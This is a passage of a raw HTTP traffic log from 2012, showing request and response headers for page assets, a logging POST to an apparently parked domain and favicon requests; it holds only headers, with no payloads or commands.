DEVa TAIo PSAo PSDo OUR IND UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" X-Content-Type-Options: nosniff Content-Encoding: gzip Date: Tue, 06 Nov 2012 06:02:39 GMT Server: domainserver Cache-Control: private Content-Length: 65 X-XSS-Protection: 1; mode=block
GET /ajax/libs/jquery/1.4.4/jquery.min.js HTTP/1.1 Host: ajax.googleapis.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 Accept: / Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Connection: keep-alive Referer: http://www3.acritrues.net/	HTTP/1.1 200 OK Content-Type: text/javascript; charset=UTF-8 Vary: Accept-Encoding Content-Encoding: gzip Last-Modified: Mon, 02 Apr 2012 18:24:28 GMT Date: Thu, 01 Nov 2012 01:08:56 GMT Expires: Fri, 01 Nov 2013 01:08:56 GMT X-Content-Type-Options: nosniff Server: sffe Content-Length: 27106 X-XSS-Protection: 1; mode=block Cache-Control: public, max-age=31536000 Age: 449623
GET /rmgpsc/1795/search-button-bg.jpg HTTP/1.1 Host: b.rmgserving.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 Accept: image/png,image/;q=0.8,/;q=0.5 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,;q=0.7 Keep-Alive: 115 Connection: keep-alive Referer: http://www3.acritrues.net/	HTTP/1.1 200 OK Content-Type: image/jpeg Server: nginx/1.0.4 Content-Length: 1505 Last-Modified: Wed, 20 Jul 2011 06:38:07 GMT Accept-Ranges: bytes Cache-Control: public, max-age=84074 Expires: Wed, 07 Nov 2012 05:23:53 GMT Date: Tue, 06 Nov 2012 06:02:39 GMT Connection: keep-alive
POST /rg-rlog.php HTTP/1.1 Host: www3.acritrues.net User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 Accept: / Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Connection: keep-alive Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-Requested-With: XMLHttpRequest Referer: http://www3.acritrues.net/ Content-Length: 1120 Cookie: gvc=901vr997273581203221 Pragma: no-cache Cache-Control: no-cache	HTTP/1.1 200 OK Content-Type: text/html; charset=UTF-8 Date: Tue, 06 Nov 2012 06:02:39 GMT Server: Apache/2.2.3 (Red Hat) X-Powered-By: PHP/5.3.16 Vary: Accept-Encoding,User-Agent Content-Encoding: gzip Content-Length: 20 Keep-Alive: timeout=5, max=90 Connection: Keep-Alive
GET /favicon.ico HTTP/1.1 Host: bethebest.co.za User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 Accept: image/png,image/;q=0.8,/;q=0.5 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,;q=0.7 Keep-Alive: 115 Connection: keep-alive	HTTP/1.1 404 Not Found Content-Type: text/html; charset=iso-8859-1 Date: Tue, 06 Nov 2012 05:59:10 GMT Server: Apache/2.2.22 (Unix) mod_ssl/2.2.22 OpenSSL/0.9.8e-fips-rhel5 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 Content-Length: 512 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive
GET /favicon.ico HTTP/1.1 Host: bethebest.co.za User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Connection: keep-alive	HTTP/1.1 404 Not Found Content-Type: text/html; charset=iso-8859-1 Date: Tue, 06 Nov 2012 05:59:12 GMT Server: Apache/2.2.22 (Unix) mod_ssl/2.2.22 OpenSSL/0.9.8e-fips-rhel5 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 Content-Length: 512 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive